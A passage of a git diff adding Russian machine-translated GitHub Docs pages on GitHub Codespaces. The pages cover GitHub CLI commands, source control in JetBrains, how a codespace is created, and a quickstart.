codespace](/codespaces/customizing-your-codespace/renaming-a-codespace). + +### Выполнения SSH в codespace + +Чтобы выполнить команды на удаленном компьютере с codespace, вы можете выполнить SSH в codespace в терминале. + +```shell +gh codespace ssh -c CODESPACE-NAME +``` + +{% note %} + +**Примечание**. {% data reusables.codespaces.ssh-server-installed %} + +
Дополнительные сведения о файле и образе контейнера по умолчанию см. в разделе [Общие сведения о](/codespaces/setting-up-your-project-for-codespaces/introduction-to-dev-containers)`devcontainer.json` контейнерах разработки. + +{% endnote %} + +{% data variables.product.prodname_github_codespaces %} копирует ключи SSH для GitHub в codespace при создании для простой проверки подлинности. Вам, возможно, будет предложено ввести парольную фразу для ключа SSH, после чего вы получите командную строку с удаленного компьютера с codespace. + +Если у вас нет ключей SSH, следуйте инструкциям из статьи [Создание нового ключа SSH и его добавление в агент SSH](/authentication/connecting-to-github-with-ssh/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent). + +### Открытие codespace в {% data variables.product.prodname_vscode %} + +```shell +gh codespace code -c CODESPACE-NAME +``` + +На локальном компьютере должен быть установлен {% data variables.product.prodname_vscode_shortname %}. Дополнительные сведения см. в разделе [Использование {% data variables.product.prodname_github_codespaces %} в {% data variables.product.prodname_vscode %}](/codespaces/developing-in-codespaces/using-github-codespaces-in-visual-studio-code). + +### Открытие codespace в JupyterLab + +```shell +gh codespace jupyter -c CODESPACE-NAME +``` + +{% data reusables.codespaces.jupyterlab-installed-in-codespace %} + +### Копирование файла в codespace или из него + +```shell +gh codespace cp [-r] SOURCE(S) DESTINATION +``` + +Используйте префикс `remote:` в имени файла или каталога, чтобы указать, что он находится в codespace. Как и в случае с командой `cp` UNIX, первый аргумент указывает источник, а последний — назначение. Если назначение является каталогом, можно указать несколько источников. Используйте флаг (рекурсивный) `-r`, если какой-либо из источников является каталогом. + +Расположение файлов и каталогов в codespace относится к домашнему каталогу удаленного пользователя. + +#### Примеры + +* Скопируйте файл с локального компьютера в каталог `$HOME` codespace: + + `gh codespace cp myfile.txt remote:` + +* Скопируйте файл в каталог, в котором репозиторий получен для изменения в codespace: + + `gh codespace cp myfile.txt remote:/workspaces/REPOSITORY-NAME` + +* Скопируйте файл из codespace в текущий каталог на локальном компьютере: + + `gh codespace cp remote:myfile.txt .` + +* Скопируйте три локальных файла в каталог `$HOME/temp` codespace: + + `gh codespace cp a1.txt a2.txt a3.txt remote:temp` + +* Скопируйте три файла из codespace в текущую рабочую папку на локальном компьютере: + + `gh codespace cp remote:a1.txt remote:a2.txt remote:a3.txt .` + +* Скопируйте локальный каталог в каталог `$HOME` codespace: + + `gh codespace cp -r mydir remote:` + +* Скопируйте каталог из codespace на локальный компьютер, изменив имя каталога: + + `gh codespace cp -r remote:mydir mydir-localcopy` + +Дополнительные сведения о команде `gh codespace cp`, включая дополнительные флаги, которые можно использовать, см. в [руководстве по {% data variables.product.prodname_cli %}](https://cli.github.com/manual/gh_codespace_cp). + +### Изменение портов в codespace + +Вы можете переадресовать порт в codespace на локальный порт. Порт остается переадресованным, пока выполняется процесс. Чтобы остановить переадресацию порта, нажмите клавиши Control+C. + +```shell +gh codespace ports forward CODESPACE-PORT_NAME:LOCAL-PORT-NAME -c CODESPACE-NAME +``` + +Чтобы просмотреть сведения о переадресованных портах, введите `gh codespace ports` и выберите кодовое пространство. + +Вы можете задать видимость переадресованного порта. {% data reusables.codespaces.port-visibility-settings %} + +```shell +gh codespace ports visibility CODESPACE-PORT:private|org|public -c CODESPACE-NAME +``` + +Задать видимость для нескольких портов можно с помощью одной команды. Пример: + +```shell +gh codespace ports visibility 80:private 3000:public 3306:org -c CODESPACE-NAME +``` + +Дополнительные сведения см. в разделе [Переадресация портов в кодовом пространстве](/codespaces/developing-in-codespaces/forwarding-ports-in-your-codespace). + +### Доступ к журналам codespace + +Вы можете просматривать журнал создания для codespace. После ввода этой команды появится запрос на ввод парольной фразы для ключа SSH. + +```shell +gh codespace logs -c CODESPACE-NAME +``` + +Дополнительные сведения о журнале создания см. в разделе [Журналы {% data variables.product.prodname_github_codespaces %}](/codespaces/troubleshooting/github-codespaces-logs#creation-logs). + +### Получение доступа к удаленным ресурсам +Вы можете использовать расширение {% data variables.product.prodname_cli %}, чтобы создать мост между codespace и вашим локальным компьютером, чтобы разрешить codespace обращаться к любому удаленному ресурсу, доступному с вашего компьютера. Дополнительные сведения об использовании расширения см. в разделе [Использование {% data variables.product.prodname_cli %} для получения доступа к удаленным ресурсам](https://github.com/github/gh-net#codespaces-network-bridge). + +{% note %} + +**Примечание.** Расширение {% data variables.product.prodname_cli %} сейчас предоставляется в бета-версии и подлежит изменениям. + +{% endnote %} + +### Изменение типа компьютера codespace + +```shell +gh codespace edit -m MACHINE-TYPE-NAME +``` + +Дополнительные сведения см. на вкладке "{% data variables.product.prodname_cli %}" раздела "[Изменение типа компьютера для codespace](/codespaces/customizing-your-codespace/changing-the-machine-type-for-your-codespace)". diff --git a/translations/ru-RU/content/codespaces/developing-in-codespaces/using-source-control-in-your-codespace.md b/translations/ru-RU/content/codespaces/developing-in-codespaces/using-source-control-in-your-codespace.md new file mode 100644 index 000000000000..a2f20162befe --- /dev/null +++ b/translations/ru-RU/content/codespaces/developing-in-codespaces/using-source-control-in-your-codespace.md @@ -0,0 +1,127 @@ +--- +title: Использование системы управления версиями в codespace +intro: После внесения изменений в файл в codespace можно быстро зафиксировать изменения и отправить обновление в удаленный репозиторий. +versions: + fpt: '*' + ghec: '*' +type: how_to +topics: + - Codespaces + - Fundamentals + - Developer +shortTitle: Source control +ms.openlocfilehash: 513bf0729e1f04bf93f45999b2fa9e45231add5c +ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/09/2022 +ms.locfileid: '148160002' +--- +{% jetbrains %} + +{% data reusables.codespaces.codespaces-jetbrains-beta-note %} + +{% endjetbrains %} + +## Сведения об управлении версиями в {% data variables.product.prodname_github_codespaces %} + +Можно выполнять все необходимые действия Git непосредственно в codespace. Например, можно получать изменения из удаленного репозитория, переключать ветви, создавать новую ветвь, фиксировать и отправлять изменения, а также создавать запрос на вытягивание. Встроенный терминал в codespace можно использовать для ввода команд Git или щелкнуть значки и параметры меню, чтобы выполнить все наиболее распространенные задачи Git. В этом руководстве объясняется, как использовать графический пользовательский интерфейс для управления версиями. + +{% vscode %} + +Дополнительные сведения о поддержке Git в {% data variables.product.prodname_vscode %} см. в разделе [Использование управления версиями в VS Code](https://code.visualstudio.com/docs/editor/versioncontrol#_git-support) документации по {% data variables.product.prodname_vscode %}. + +{% endvscode %} + +{% webui %} + +Система управления версиями в веб-клиенте {% data variables.product.prodname_vscode %} использует тот же рабочий процесс, что и классическое приложение {% data variables.product.prodname_vscode %}. Дополнительные сведения см. в разделе [Использование управления версиями в VS Code](https://code.visualstudio.com/docs/editor/versioncontrol#_git-support) документации по {% data variables.product.prodname_vscode %}. + +{% endwebui %} + +Типичным рабочим процессом обновления файла с помощью {% data variables.product.prodname_github_codespaces %} будет следующее: + +* Из ветви по умолчанию репозитория на {% data variables.product.prodname_dotcom %} создайте codespace. См. раздел [Создание пространства кода для репозитория](/codespaces/developing-in-codespaces/creating-a-codespace-for-a-repository). +* В codespace создайте новую ветвь для работы. +* Внесите необходимые изменения и сохраните их. +* Зафиксируйте изменения. +* Создайте запрос на вытягивание. + +{% webui %} + +{% data reusables.codespaces.source-control %} + +{% endwebui %} + +{% vscode %} + +{% data reusables.codespaces.source-control %} + +{% endvscode %} + +{% jetbrains %} + +## Создание или переключение ветвей + +1. Щелкните имя ветви в правой части строки состояния. + + ![Снимок экрана: имя ветви в строке состояния](/assets/images/help/codespaces/jetbrains-branch-button.png) + +1. Во всплывающем меню выполните одно из указанных ниже действий. + * Чтобы создать новую ветвь на основе текущей ветви, щелкните имя текущей ветви, а затем выберите **Создать ветвь**. + + ![Снимок экрана: параметр "Новая ветвь"](/assets/images/help/codespaces/jetbrains-new-branch-option.png) + + Введите имя новой ветви и нажмите кнопку **Создать**. + + ![Снимок экрана: диалоговое окно создания ветви](/assets/images/help/codespaces/jetbrains-create-branch-dialog.png) + + * Чтобы извлечь существующую ветвь, начните вводить имя ветви, которую вы хотите извлечь. Щелкните ветвь из списка и нажмите кнопку **Извлечь**. + + ![Снимок экрана: вариант оформления заказа](/assets/images/help/codespaces/jetbrains-checkout-submenu.png) + + {% tip %} + + **Совет**. Если кто-то недавно изменил файл в удаленном репозитории, в ветви, на который вы переключились, эти изменения могут не отображаться, пока вы не извлекете изменения в codespace. + + {% endtip %} + + +## Фиксация изменений + +1. В правой части панели навигации установите флажок. + + ![Снимок экрана: флажок фиксации](/assets/images/help/codespaces/jetbrains-commit-button.png) + +1. В диалоговом окне Фиксация изменений введите сообщение о фиксации. +1. Нажмите кнопку **Зафиксировать**. + + Кроме того, щелкните стрелку вниз рядом с **кнопкой Фиксация** и нажмите кнопку **Зафиксировать и отправить**. + + ![Снимок экрана: кнопка фиксации и нажатия](/assets/images/help/codespaces/jetbrains-commit-and-push.png) + +## Вытягивание изменений из удаленного репозитория + +Вы можете извлекать изменения из той же ветви в удаленном репозитории и применять их к копии репозитория, над которым вы работаете в codespace. + +1. В правой части панели навигации щелкните стрелку вниз. + + ![Снимок экрана: кнопка со стрелкой вниз проекта обновления](/assets/images/help/codespaces/jetbrains-update-project-button.png) + +1. В диалоговом окне Обновление проекта выберите, нужно ли объединять или переначислить входящие изменения. + + ![Снимок экрана: диалоговое окно "Обновление проекта"](/assets/images/help/codespaces/jetbrains-update-options.png) + +1. Нажмите кнопку **ОК**. + +## Отправка изменений в удаленный репозиторий + +Вы можете отправлять сохраненные и зафиксированные изменения. После этого изменения будут применены к вышестоящей ветви в удаленном репозитории. Это можно сделать, если вы еще не готовы создать запрос на вытягивание или если вы предпочитаете создать такой запрос в {% data variables.product.prodname_dotcom %}. + +1. В правой части панели навигации щелкните стрелку вверх. + + ![Снимок экрана: стрелка вверх при отправке фиксаций](/assets/images/help/codespaces/jetbrains-push-button.png) + +1. В диалоговом окне Отправка фиксаций нажмите кнопку **Отправить**. + +{% endjetbrains %} diff --git a/translations/ru-RU/content/codespaces/getting-started/deep-dive.md b/translations/ru-RU/content/codespaces/getting-started/deep-dive.md new file mode 100644 index 000000000000..09994553d34e --- /dev/null +++ b/translations/ru-RU/content/codespaces/getting-started/deep-dive.md @@ -0,0 +1,164 @@ +--- +title: 'Подробные сведения о {% data variables.product.prodname_github_codespaces %}' +shortTitle: 'Deep dive into {% data variables.product.prodname_codespaces %}' +intro: 'Узнайте, как работает {% data variables.product.prodname_github_codespaces %}.' +allowTitleToDifferFromFilename: true +versions: + fpt: '*' + ghec: '*' +type: quick_start +topics: + - Codespaces +ms.openlocfilehash: 5f97a137ec09191d5cbaa9c10aa280e10f11bbc0 +ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/09/2022 +ms.locfileid: '148158648' +--- +{% data variables.product.prodname_github_codespaces %} — это современная облачная среда разработки, которая использует контейнер для предоставления популярных языков, инструментов и служебных программ для разработки. {% data variables.product.prodname_github_codespaces %} также можно настроить, что позволяет создать настраиваемую среду разработки для проекта. Настроив пользовательскую среду разработки для проекта, вы получите воспроизводимую конфигурацию кодового пространства для всех пользователей проекта. + +## Создание кодового пространства + +Кодовое пространство можно создавать в нескольких точках входа: + +- Из шаблона {% data variables.product.company_short %} или любого репозитория шаблонов в {% data variables.product.prodname_dotcom_the_website %} для запуска нового проекта +- Из ветви в репозитории для работы с новыми функциями +- Из открытого запроса на вытягивание для просмотра хода выполнения +- Из фиксации в журнале репозитория для исследования ошибки в определенный момент времени + +{% data reusables.codespaces.ways-to-create-a-codespace %} + +Кодовое пространство может быть временным, если вам нужно протестировать что-то или вернуться в то же кодовое пространство для выполнения более долгосрочных задач. + +Дополнительные сведения см. в разделах [Создание codespace для репозитория](/codespaces/developing-in-codespaces/creating-a-codespace-for-a-repository), [Создание codespace на основе шаблона](/codespaces/developing-in-codespaces/creating-a-codespace-from-a-template) и [Открытие существующего codespace](/codespaces/developing-in-codespaces/opening-an-existing-codespace). + +{% note %} + +**Примечание.** Вы можете создать несколько codespace для каждого репозитория или даже для каждой ветви. Однако количество создаваемых сред codespace ограничено, как и количество одновременно выполняемых сред codespace. Если вы достигнете максимального количества сред codespace и попытаетесь создать еще одну среду, появится сообщение о том, что необходимо удалить существующую среду codespace, прежде чем создать новую. + +{% endnote %} + +### Процесс создания codespace + +При создании codespace различные действия выполняются в фоновом режиме, прежде чем codespace будет доступно. + +### Шаг 1. Кодовому пространству назначаются виртуальная машина и хранилище + +При создании codespace создается [неглубокий клон](https://github.blog/2020-12-21-get-up-to-speed-with-partial-clone-and-shallow-clone/) репозитория или репозитория шаблонов, если вы создаете codespace на основе шаблона. Репозиторий клонируется в виртуальную машину Linux, которая является как выделенной, так и частной. Выделение виртуальной машины обеспечит вам полный набор вычислительных ресурсов, доступных на этом компьютере. При необходимости это также позволит вам получить полный корневой доступ к контейнеру. + +### Шаг 2. Создается контейнер + +{% data variables.product.prodname_github_codespaces %} использует контейнер в качестве среды разработки. Этот контейнер создается на основе конфигураций, которые можно определить в `devcontainer.json` файле и, при необходимости, в Dockerfile. Если вы создаете codespace из пустого шаблона {% data variables.product.company_short %} или из репозитория без `devcontainer.json` файла, {% data variables.product.prodname_github_codespaces %} использует образ по умолчанию, для которого доступно множество языков и сред выполнения. Дополнительные сведения см. в статье [Общие сведения о контейнерах разработки](/codespaces/setting-up-your-project-for-codespaces/introduction-to-dev-containers). Дополнительные сведения о том, что содержит образ по умолчанию, см. в репозитории [`microsoft/vscode-dev-containers`](https://github.com/microsoft/vscode-dev-containers/tree/main/containers/codespaces-linux) . + +{% note %} + +**Примечание.** Если вы хотите использовать перехватчики Git в кодовом пространстве и применить что-то из [каталога шаблонов Git](https://git-scm.com/docs/git-init#_template_directory) к своему кодовому пространству, перехватчики необходимо настроить при выполнении шага 4 после того, как будет создан контейнер. + +Поскольку репозиторий клонируется на виртуальную машину узла до создания контейнера, никакое содержимое [каталога шаблонов Git](https://git-scm.com/docs/git-init#_template_directory) не будет применяться в вашем кодовом пространстве, пока вы не настроите перехватчики в файле конфигурации `devcontainer.json` с помощью `postCreateCommand` в шаге 4. Дополнительные сведения см. в разделе [Шаг 4. Настройка после создания](#step-4-post-creation-setup). + +{% endnote %} + +### Шаг 3. Подключение к кодовому пространству + +После создания контейнера и выполнения любой другой инициализации вы будете подключены к своему кодовому пространству. К нему можно подключиться с помощью: + +* Ваш веб-браузер +* [Visual Studio Code](/codespaces/developing-in-codespaces/using-github-codespaces-in-visual-studio-code) +* [Интегрированная среда разработки JetBrains](/codespaces/developing-in-codespaces/using-github-codespaces-in-your-jetbrains-ide) +* [{% data variables.product.prodname_cli %}](/codespaces/developing-in-codespaces/using-github-codespaces-with-github-cli) + +### Шаг 4. Настройка после создания + +После подключения к codespace автоматическая установка может продолжить сборку на основе конфигурации, указанной в `devcontainer.json` файле. Могут быть выполнены команды `postCreateCommand` и `postAttachCommand`. + +Если вы хотите использовать перехватчики Git в codespace, настройте перехватчики с помощью [`devcontainer.json` скриптов жизненного цикла, таких](https://code.visualstudio.com/docs/remote/devcontainerjson-reference#_lifecycle-scripts) как `postCreateCommand`. Дополнительные сведения [см. в справочнике по `devcontainer.json`](https://code.visualstudio.com/docs/remote/devcontainerjson-reference#_devcontainerjson-properties) в документации по {% data variables.product.prodname_vscode_shortname %}. + +Если у вас есть общедоступный репозиторий файлов с точкой для {% data variables.product.prodname_github_codespaces %}, его можно включить для использования с новыми кодовыми пространствами. Если он включен, файлы с точкой будут клонированы в контейнер и будет вызван скрипт установки. Дополнительные сведения см. в разделе [Персонализация {% data variables.product.prodname_github_codespaces %} для вашей учетной записи](/codespaces/customizing-your-codespace/personalizing-github-codespaces-for-your-account#dotfiles). + +Наконец, если вы создали codespace из репозитория, весь журнал репозитория копируется с полным клоном. Если вы создали codespace на основе шаблона, полный журнал репозитория шаблонов не сохраняется; Вместо этого, если вы не используете пустой шаблон, вы начнете с начальной фиксации для содержимого репозитория шаблонов. + +В процессе настройки после создания можно использовать интегрированный терминал и вносить изменения в файлы, но нужно стараться избегать любых конфликтов между работой и выполняемыми командами. +## Жизненный цикл {% data variables.product.prodname_codespaces %} + +### Сохранение файлов в кодовом пространстве + +Сохраняйте изменения в файлах обычным способом в зависимости от используемого редактора. + +Если вы работаете с codespaces в {% data variables.product.prodname_vscode %}, можно включить [автоматическое сохранение](https://code.visualstudio.com/docs/editor/codebasics#_save-auto-save) , чтобы изменения сохранялись всегда. + +### Закрытие или остановка кодового пространства + +Codespace будет продолжать работать, пока вы используете его, но время ожидания будет истекать после периода бездействия. Изменения в файлах из выходных данных редактора и терминала учитываются как действия, поэтому время ожидания codespace не будет истекает, если выходные данные терминала продолжаются. Время ожидания бездействия по умолчанию составляет 30 минут. Вы можете определить личный параметр времени ожидания для создаваемых codespace, но это может быть отказано в политике времени ожидания организации. Дополнительные сведения см. в статье "[Настройка периода ожидания для Codespaces](/codespaces/customizing-your-codespace/setting-your-timeout-period-for-codespaces)". + +Если время ожидания codespace будет прекращено, но его можно перезапустить на вкладке браузера (если вы использовали codespace в браузере), из {% data variables.product.prodname_vscode_shortname %} или из списка codespace в [https://github.com/codespaces](https://github.com/codespaces). + +Чтобы остановить codespace, вы можете + +* В браузере: в списке codespaces по адресу [https://github.com/codespaces](https://github.com/codespaces)щелкните многоточие (**...**) справа от codespace, которое нужно остановить, и щелкните **Остановить codespace**. +* В {% data variables.product.prodname_vscode_shortname %}: откройте [{% data variables.product.prodname_vscode_command_palette %}](/codespaces/codespaces-reference/using-the-vs-code-command-palette-in-codespaces#suspending-or-stopping-a-codespace) ( например, нажав клавиши CTRL+SHIFT+ВВОД (Windows/Linux) или Shift+Command+P (Mac) и `Codespaces: stop` нажмите клавишу ВВОД. +* В клиенте JetBrains нажмите кнопку остановки в верхней части окна инструментов {% data variables.product.prodname_github_codespaces %}. Дополнительные сведения см. на вкладке "Среды ИНДЕ JetBrains" статьи "[Остановка и запуск codespace](/codespaces/developing-in-codespaces/stopping-and-starting-a-codespace)". +* В окне терминала используйте команду `gh codespace stop`{% data variables.product.prodname_cli %} . Дополнительные сведения см. в разделе [Использование {% data variables.product.prodname_github_codespaces %} с {% data variables.product.prodname_cli %}](/codespaces/developing-in-codespaces/using-github-codespaces-with-github-cli#gh-commands-for-github-codespaces). + +Если выйти из codespace без выполнения команды stop (например, закрыв вкладку браузера) или оставить codespace запущенным без взаимодействия, кодовое пространство и его выполняемые процессы будут продолжаться в течение периода времени ожидания бездействия. + +При закрытии или остановке кодового пространства все незафиксированные изменения сохраняются, пока вы не подключитесь к кодовому пространству еще раз. + +## Запуск приложения + +Переадресация портов обеспечивает доступ к TCP-портам, работающим в кодовом пространстве. Например, если веб-приложение выполняется через порт 4000 в кодовом пространстве, можно настроить автоматическую переадресацию этого порта с тем, чтобы приложение было доступно из браузера. + +Переадресация портов определяет, какие порты будут вам доступны с удаленного компьютера. Даже если вы не переадресуете порт, он будет по-прежнему доступен другим процессам, выполняемым в самом кодовом пространстве. + +![Схема, показывающая, как работает переадресация портов в кодовом пространстве](/assets/images/help/codespaces/port-forwarding.png) + +Когда приложение, работающее в {% data variables.product.prodname_github_codespaces %}, выводит порт в консоль, {% data variables.product.prodname_github_codespaces %} обнаруживает шаблон URL-адреса localhost и автоматически перенаправит порт. Чтобы открыть порт в браузере, щелкните URL-адрес в терминале или ссылку во всплывающем уведомлении, которое появится в правом нижнем углу {% data variables.product.prodname_vscode_shortname %}. По умолчанию {% data variables.product.prodname_github_codespaces %} пересылает порт по протоколу HTTP. Дополнительные сведения о переадресации портов см. в разделе [Переадресация портов в кодовом пространстве](/codespaces/developing-in-codespaces/forwarding-ports-in-your-codespace). + +Порты могут переадресовываться автоматически, но не являются общедоступными в Интернете. По умолчанию все порты являются частными, но любой порт можно сделать доступным для вашей организации или общедоступным, а затем предоставить к нему доступ по URL-адресу. Дополнительные сведения см. в разделе [Общий доступ к порту](/codespaces/developing-in-codespaces/forwarding-ports-in-your-codespace#sharing-a-port). + +Запуск приложения при первом подключении к кодовому пространству может сопровождаться быстрым внутренним циклом разработки. При редактировании изменения автоматически сохраняются и становятся доступными через переадресованный порт. Для просмотра изменений вернитесь на вкладку запущенного приложения в браузере и обновите ее. + +## Фиксация и отправка изменений + +Git устанавливается по умолчанию в codespace, поэтому вы можете полагаться на существующий рабочий процесс Git. Вы можете работать с Git в codespace с помощью терминала или с помощью функций управления версиями {% data variables.product.prodname_vscode_shortname %} или JetBrains. + +Если вы работаете с существующим репозиторием, вы можете создать codespace из любой ветви, фиксации или запроса на вытягивание в репозитории или переключиться на новую или существующую ветвь из активного пространства кода. Поскольку среда {% data variables.product.prodname_github_codespaces %} предназначена для временного использования, она может служить изолированной средой для экспериментов, проверки запроса на вытягивание, созданного членом команды, или устранения конфликтов слияния. + +Если вы работаете в codespace, созданном на основе шаблона, Git будет установлен по умолчанию, но вам потребуется опубликовать codespace в удаленный репозиторий, чтобы сохранить работу и поделиться ею с другими пользователями. Если вы начинаете с пустого шаблона {% data variables.product.company_short %}, необходимо сначала инициализировать рабочую область в качестве репозитория Git (например, введя `git init`), чтобы начать использовать систему управления версиями в codespace. + +Дополнительные сведения см. в статье [Использование системы управления версиями в кодовом пространстве](/codespaces/developing-in-codespaces/using-source-control-in-your-codespace). + +{% note %} + +**Примечание.** Фиксации из кодового пространства будут соотнесены с именем и общедоступный адресом электронной почты, настроенным в https://github.com/settings/profile. Токен, ограниченный репозиторием, включается в среду как `GITHUB_TOKEN`, а для проверки подлинности используются учетные данные GitHub. + +{% endnote %} + +## Персонализация codespace с помощью расширений или подключаемых модулей + +Вы можете добавить подключаемые модули и расширения в codespace, чтобы персонализировать интерфейс в JetBrains и {% data variables.product.prodname_vscode_shortname %} соответственно. + +### Расширения {% data variables.product.prodname_vscode_shortname %} + +Если вы работаете с codespace в классическом приложении {% data variables.product.prodname_vscode_shortname %} или веб-клиенте, вы можете добавить любые необходимые расширения из {% data variables.product.prodname_vscode_marketplace %}. Сведения о том, как модули работают в {% data variables.product.prodname_github_codespaces %}, см. в разделах [Поддержка удаленной разработки и {% data variables.product.prodname_github_codespaces %}](https://code.visualstudio.com/api/advanced-topics/remote-extensions) документации по {% data variables.product.prodname_vscode_shortname %}. + +Если вы уже используете {% data variables.product.prodname_vscode_shortname %}, вы можете использовать [синхронизацию параметров](https://code.visualstudio.com/docs/editor/settings-sync) для автоматической синхронизации расширений, параметров, тем и сочетаний клавиш между локальным экземпляром и любыми создаваемыми вами пространствами кода. + +### Подключаемые модули JetBrains + +Если вы работаете с codespace в интегрированной среде разработки JetBrains, вы можете добавить подключаемые модули из JetBrains Marketplace. + +1. Щелкните **Клиент JetBrains**, а затем — **Параметры**. +1. В диалоговом окне Параметры щелкните **Подключаемые модули на узле** , чтобы установить подключаемый модуль в полной интегрированной среде разработки JetBrains, которая работает удаленно, или **Подключаемые модули** , чтобы установить подключаемый модуль на локальном клиенте, например для изменения темы пользовательского интерфейса. +1. Перейдите на вкладку **Marketplace** . + + ![Снимок экрана: вкладка Marketplace для "Подключаемые модули на узле"](/assets/images/help/codespaces/jetbrains-preferences-plugins.png) + +1. Щелкните **Установить** рядом с требуемым подключаемым модулем. + +## Дополнительные материалы + +- [Включение {% data variables.product.prodname_github_codespaces %} для вашей организации](/codespaces/managing-codespaces-for-your-organization/enabling-github-codespaces-for-your-organization) +- [Управление затратами на {% data variables.product.prodname_github_codespaces %} в организации](/codespaces/managing-codespaces-for-your-organization/managing-the-cost-of-github-codespaces-in-your-organization) +- [Добавление конфигурации контейнера разработки в репозиторий](/codespaces/setting-up-your-project-for-codespaces/setting-up-your-project-for-codespaces) +- [Жизненный цикл codespace](/codespaces/developing-in-codespaces/the-codespace-lifecycle) diff --git a/translations/ru-RU/content/codespaces/getting-started/index.md b/translations/ru-RU/content/codespaces/getting-started/index.md new file mode 100644 index 000000000000..df1160d77dd6 --- /dev/null +++ b/translations/ru-RU/content/codespaces/getting-started/index.md @@ -0,0 +1,18 @@ +--- +title: 'Начало работы с {% data variables.product.prodname_github_codespaces %}' +shortTitle: Getting started +intro: 'Узнайте, как приступить к работе с {% data variables.product.prodname_github_codespaces %}, включая настройку для определенных языков.' +versions: + fpt: '*' + ghec: '*' +children: + - /quickstart + - /deep-dive +ms.openlocfilehash: e0a845403562bbe046b81e52893a9ff59a1fbf1c +ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/09/2022 +ms.locfileid: '148160255' +--- + diff --git a/translations/ru-RU/content/codespaces/getting-started/quickstart.md b/translations/ru-RU/content/codespaces/getting-started/quickstart.md new file mode 100644 index 000000000000..72cd968e231e --- /dev/null +++ b/translations/ru-RU/content/codespaces/getting-started/quickstart.md @@ -0,0 +1,118 @@ +--- +title: 'Краткое руководство по {% data variables.product.prodname_github_codespaces %}' +shortTitle: 'Quickstart for {% data variables.product.prodname_codespaces %}' +intro: "Испытайте {% data variables.product.prodname_github_codespaces %} за 5\_минут." +allowTitleToDifferFromFilename: true +versions: + fpt: '*' + ghec: '*' +type: quick_start +topics: + - Codespaces +redirect_from: + - /codespaces/codespaces-quickstart +ms.openlocfilehash: f35fa87711ff3a7c33ed252d0d1e87865af619bc +ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/09/2022 +ms.locfileid: '148158656' +--- +## Введение + +В этом руководстве вы создадите codespace из репозитория шаблонов и изучите некоторые важные возможности, доступные в codespace. Вы будете работать в версии браузера {% data variables.product.prodname_vscode %}, которая изначально является редактором по умолчанию для {% data variables.product.prodname_github_codespaces %}. После работы с этим кратким руководством вы можете использовать {% data variables.product.prodname_codespaces %} в других редакторах и изменить редактор по умолчанию. Ссылки приведены в конце этого руководства. + +Из этого краткого руководства вы узнаете, как создать codespace, подключиться к переадресованным порту, чтобы просмотреть запущенное приложение, опубликовать codespace в новом репозитории и персонализировать настройку с помощью расширений. + +Дополнительные сведения о принципах работы {% data variables.product.prodname_github_codespaces %} см. в сопутствующем руководстве [Подробный обзор {% data variables.product.prodname_github_codespaces %}](/codespaces/getting-started/deep-dive). + +## Создание кодового пространства + +1. Перейдите к репозиторию [шаблонов github/haikus-for-codespaces](https://github.com/github/haikus-for-codespaces) . +{% data reusables.codespaces.open-template-in-codespace-step %} + +## Запуск приложения + +После создания codespace репозиторий шаблонов будет автоматически клонирован в него. Теперь вы сможете выполнить приложение и запустить его в браузере. + +1. Когда терминал будет доступен, введите команду `npm run dev`. В этом примере используется проект Node.js, и эта команда выполняет скрипт с меткой dev в `package.json` файле, который запускает веб-приложение, определенное в примере репозитория. + + ![npm запускают разработку в терминале](/assets/images/help/codespaces/codespaces-npm-run-dev.png) + + Если вы используете другой тип приложения, введите соответствующую команду запуска для этого проекта. + +2. Во время запуска приложения codespace распознает порт, на котором выполняется приложение, и отображает запрос, чтобы сообщить, что он был переадресован. + + ![Всплывающее уведомление о перенаправлении портов](/assets/images/help/codespaces/quickstart-port-toast.png) + +3. Нажмите **Открыть в браузере**, чтобы просмотреть запущенное приложение на новой вкладке. + +## Изменение приложения и просмотр изменений + +1. Вернитесь в codespace и откройте `haikus.json` файл, щелкнув его в проводнике. + +2. Измените поле `text` первого haiku, чтобы персонализировать приложение с помощью собственного haiku. + +3. Для просмотра изменений вернитесь на вкладку запущенного приложения в браузере и обновите ее. + + {% octicon "light-bulb" aria-label="The lightbulb icon" %} Если вы закрыли вкладку, откройте панель Порты и щелкните значок **Открыть в браузере** для работающего порта. + + ![Панель переадресации порта](/assets/images/help/codespaces/quickstart-forward-port.png) + +## Фиксация и отправка изменений + +Теперь, когда вы внесли несколько изменений, вы можете использовать встроенный терминал или исходное представление для публикации работы в новом репозитории. + +{% data reusables.codespaces.source-control-display-dark %} +1. Чтобы выполнить изменения, щелкните **+** рядом с файлом `haikus.json` или рядом с **элементом Изменения** , если вы изменили несколько файлов и хотите создать их все. + + ![Боковая панель управления исходным кодом с выделенной кнопкой подготовки](/assets/images/help/codespaces/codespaces-commit-stage.png) + +2. Чтобы зафиксировать промежуточные изменения, введите сообщение фиксации с описанием внесенных изменений, а затем нажмите кнопку **Зафиксировать**. + + ![Боковая панель управления исходным кодом с сообщением о фиксации](/assets/images/help/codespaces/vscode-commit-button.png) + +3. Щелкните **Опубликовать ветвь**. + + ![Снимок экрана: кнопка "Опубликовать ветвь" в VS Code](/assets/images/help/codespaces/vscode-publish-branch-button.png) + +4. В раскрывающемся списке "Имя репозитория" введите имя нового репозитория, а затем выберите **Опубликовать в {% data variables.product.company_short %} частный репозиторий** или **Опубликовать в общедоступном репозитории {% data variables.product.company_short %}**. + + ![Снимок экрана: раскрывающийся список "Имя репозитория" в VS Code](/assets/images/help/codespaces/choose-new-repository.png) + + Владельцем нового репозитория будет учетная запись {% data variables.product.prodname_dotcom %}, с помощью которой вы создали codespace. +5. Во всплывающем окне, которое появится в правом нижнем углу редактора, щелкните **Открыть в {% data variables.product.company_short %}** , чтобы просмотреть новый репозиторий в {% data variables.product.prodname_dotcom_the_website %}. В новом репозитории просмотрите `haikus.json` файл и убедитесь, что изменения, внесенные в codespace, успешно отправлены в репозиторий. + + ![Снимок экрана: всплывающее окно "Открыть в GitHub" в VS Code](/assets/images/help/codespaces/open-on-github.png) + +## Персонализация с помощью расширения + +При подключении к codespace с помощью браузера или классического приложения {% data variables.product.prodname_vscode %} доступ к Visual Studio Code 